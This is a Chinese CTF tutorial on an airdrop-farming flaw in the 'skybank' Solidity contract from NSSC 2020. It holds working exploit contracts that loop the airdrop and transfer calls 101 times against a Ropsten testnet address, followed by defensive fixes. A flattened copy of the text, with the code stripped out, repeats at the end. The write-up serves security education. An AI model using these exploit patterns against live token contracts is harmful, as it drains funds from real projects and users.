零时科技丨CTF技能宝典之智能合约#薅羊毛漏洞
字数 1410 2025-08-22 12:22:54

智能合约安全教学:薅羊毛漏洞分析与利用

1. 漏洞概述

薅羊毛漏洞(Airdrop Vulnerability)是智能合约中常见的一种设计缺陷,攻击者通过批量调用空投函数或利用合约逻辑缺陷,可以获取超出预期的代币或资金。本教学以2020年NSSC CTF中的skybank题目为例,详细分析这类漏洞的原理、利用方式及防御措施。

2. 合约代码分析

2.1 合约结构

逆向后的合约代码(Solidity 0.4.24):

pragma solidity ^0.4.24;

contract skybank {
    mapping(address => uint) public balances;
    event sendflag(string base64email, string md5namectf);
    bytes20 addr = bytes20(msg.sender);

    function ObtainFlag(string base64email, string md5namectf) {
        require(balances[msg.sender] >= 1000000000);
        emit sendflag(base64email, md5namectf);
    }

    function gether() public {
        require(balances[msg.sender] == 0);
        balances[msg.sender] += 10000000;
    }

    function Transfer(address to, uint bur) public {
        require(bur == balances[msg.sender]);
        balances[to] += bur;
        balances[msg.sender] -= bur;
    }
}

2.2 关键函数分析

2.2.1 ObtainFlag函数

function ObtainFlag(string base64email, string md5namectf) {
    require(balances[msg.sender] >= 1000000000);
    emit sendflag(base64email, md5namectf);
}
  • 功能:触发flag事件的条件函数
  • 关键点
    • 需要调用者余额 ≥ 1,000,000,000 wei
    • 触发sendflag事件表示攻击成功

2.2.2 gether函数(空投函数)

function gether() public {
    require(balances[msg.sender] == 0);
    balances[msg.sender] += 10000000;
}
  • 功能:空投函数,给符合条件的地址发放资金
  • 漏洞点
    • 仅检查调用者当前余额是否为0
    • 每次调用增加10,000,000 wei
    • 无调用次数限制或冷却时间

2.2.3 Transfer函数

function Transfer(address to, uint bur) public {
    require(bur == balances[msg.sender]);
    balances[to] += bur;
    balances[msg.sender] -= bur;
}
  • 功能:转账函数
  • 漏洞点
    • 转账后发送方余额归零
    • 可与gether函数配合实现重复空投

3. 漏洞利用原理

3.1 核心漏洞

  1. 空投无限制:gether函数仅检查当前余额为0,不记录历史领取状态
  2. 转账后状态重置:Transfer函数使发送方余额归零,可重新满足gether条件
  3. 资金可汇聚:可将多次空投资金汇聚到单一地址

3.2 数学计算

  • 每次空投:+10,000,000 wei
  • 触发flag需要:1,000,000,000 wei
  • 最少需要空投次数:⌈1,000,000,000 / 10,000,000⌉ = 100次

4. 攻击方案

4.1 方案一:单地址循环获取

步骤

  1. 地址A调用gether()获取空投
  2. 地址A调用Transfer()将资金转至地址B
  3. 重复步骤1-2至少100次
  4. 地址B调用ObtainFlag()触发事件

优势:仅需2个地址
劣势:需要多次交易

4.2 方案二:多地址汇聚资金

步骤

  1. 准备N个地址(N ≥ 100)
  2. 每个地址调用gether()获取空投
  3. 将所有地址资金转至目标地址
  4. 目标地址调用ObtainFlag()

优势:可单次交易完成
劣势:需要较多地址

5. 实战攻击演示

5.1 环境准备

  • 测试网:Ropsten
  • 工具:Remix + MetaMask
  • 目标合约:0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273

5.2 攻击步骤

步骤1:向目标合约转账

pragma solidity ^0.4.24;
contract burn {
    function kill() public payable {
        selfdestruct(address(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273));
    }
}
  • 部署并调用kill(),附带0.02 ETH

步骤2:部署最终调用合约(地址D)

pragma solidity ^0.4.24;

interface skybankInterface {
    function ObtainFlag(string base64email, string md5namectf);
}

contract attacker2 {
    skybankInterface constant private target = skybankInterface(0xE6BEBc078Bf01C06D80b39E0bb654F70C7B0C273);
    
    function exploit() {
        target.ObtainFlag("zxc", "000");
    }
}

步骤3:部署攻击合约(地址E)

pragma solidity ^0.4.24;

interface skybankInterface {
    function gether() external;
    function Transfer(address to, uint256 env) external;
}

contract attacker {
    skybankInterface constant private target = skybankInterface(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273);
    
    function exploit(uint256 len) public payable {
        for(uint256 i=0; i<len; i++){
            target.gether();
            target.Transfer(0xB8EBd7aaD718F65e61c0fC8359Dc5f9B5b85b067, 10000000);
        }
    }
}
  • 调用exploit(101)完成101次空投

步骤4:触发flag

  • 通过地址D调用exploit()触发sendflag事件

6. 防御措施

6.1 代码层面

  1. 记录领取状态
mapping(address => bool) public hasGathered;
function gether() public {
    require(!hasGathered[msg.sender]);
    hasGathered[msg.sender] = true;
    balances[msg.sender] += 10000000;
}
  1. 添加冷却时间
mapping(address => uint) public lastGatherTime;
function gether() public {
    require(now > lastGatherTime[msg.sender] + 1 days);
    lastGatherTime[msg.sender] = now;
    balances[msg.sender] += 10000000;
}
  1. 限制最大领取量
uint public totalDistributed;
function gether() public {
    require(totalDistributed < 10000000000);
    totalDistributed += 10000000;
    balances[msg.sender] += 10000000;
}

6.2 设计层面

  1. 使用白名单机制
  2. 实现多签控制资金发放
  3. 添加事件日志监控异常领取行为
  4. 进行完善的测试和审计

7. 总结

薅羊毛漏洞展示了智能合约设计中状态管理的重要性。开发者应当:

  • 谨慎设计状态变更逻辑
  • 考虑所有可能的调用路径
  • 实施适当的访问控制和限制机制
  • 进行充分的边界条件测试

通过本案例的分析,我们可以更深入地理解智能合约安全的关键要素,并在实际开发中避免类似漏洞的出现。

智能合约安全教学:薅羊毛漏洞分析与利用 1. 漏洞概述 薅羊毛漏洞(Airdrop Vulnerability)是智能合约中常见的一种设计缺陷,攻击者通过批量调用空投函数或利用合约逻辑缺陷,可以获取超出预期的代币或资金。本教学以2020年NSSC CTF中的skybank题目为例,详细分析这类漏洞的原理、利用方式及防御措施。 2. 合约代码分析 2.1 合约结构 逆向后的合约代码(Solidity 0.4.24): 2.2 关键函数分析 2.2.1 ObtainFlag函数 功能 :触发flag事件的条件函数 关键点 : 需要调用者余额 ≥ 1,000,000,000 wei 触发 sendflag 事件表示攻击成功 2.2.2 gether函数(空投函数) 功能 :空投函数,给符合条件的地址发放资金 漏洞点 : 仅检查调用者当前余额是否为0 每次调用增加10,000,000 wei 无调用次数限制或冷却时间 2.2.3 Transfer函数 功能 :转账函数 漏洞点 : 转账后发送方余额归零 可与gether函数配合实现重复空投 3. 漏洞利用原理 3.1 核心漏洞 空投无限制 :gether函数仅检查当前余额为0,不记录历史领取状态 转账后状态重置 :Transfer函数使发送方余额归零,可重新满足gether条件 资金可汇聚 :可将多次空投资金汇聚到单一地址 3.2 数学计算 每次空投:+10,000,000 wei 触发flag需要:1,000,000,000 wei 最少需要空投次数:⌈1,000,000,000 / 10,000,000⌉ = 100次 4. 攻击方案 4.1 方案一:单地址循环获取 步骤 : 地址A调用gether()获取空投 地址A调用Transfer()将资金转至地址B 重复步骤1-2至少100次 地址B调用ObtainFlag()触发事件 优势 :仅需2个地址 劣势 :需要多次交易 4.2 方案二:多地址汇聚资金 步骤 : 准备N个地址(N ≥ 100) 每个地址调用gether()获取空投 将所有地址资金转至目标地址 目标地址调用ObtainFlag() 优势 :可单次交易完成 劣势 :需要较多地址 5. 实战攻击演示 5.1 环境准备 测试网:Ropsten 工具:Remix + MetaMask 目标合约:0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273 5.2 攻击步骤 步骤1:向目标合约转账 部署并调用kill(),附带0.02 ETH 步骤2:部署最终调用合约(地址D) 步骤3:部署攻击合约(地址E) 调用exploit(101)完成101次空投 步骤4:触发flag 通过地址D调用exploit()触发sendflag事件 6. 防御措施 6.1 代码层面 记录领取状态 : 添加冷却时间 : 限制最大领取量 : 6.2 设计层面 使用白名单机制 实现多签控制资金发放 添加事件日志监控异常领取行为 进行完善的测试和审计 7. 总结 薅羊毛漏洞展示了智能合约设计中状态管理的重要性。开发者应当: 谨慎设计状态变更逻辑 考虑所有可能的调用路径 实施适当的访问控制和限制机制 进行充分的边界条件测试 通过本案例的分析,我们可以更深入地理解智能合约安全的关键要素,并在实际开发中避免类似漏洞的出现。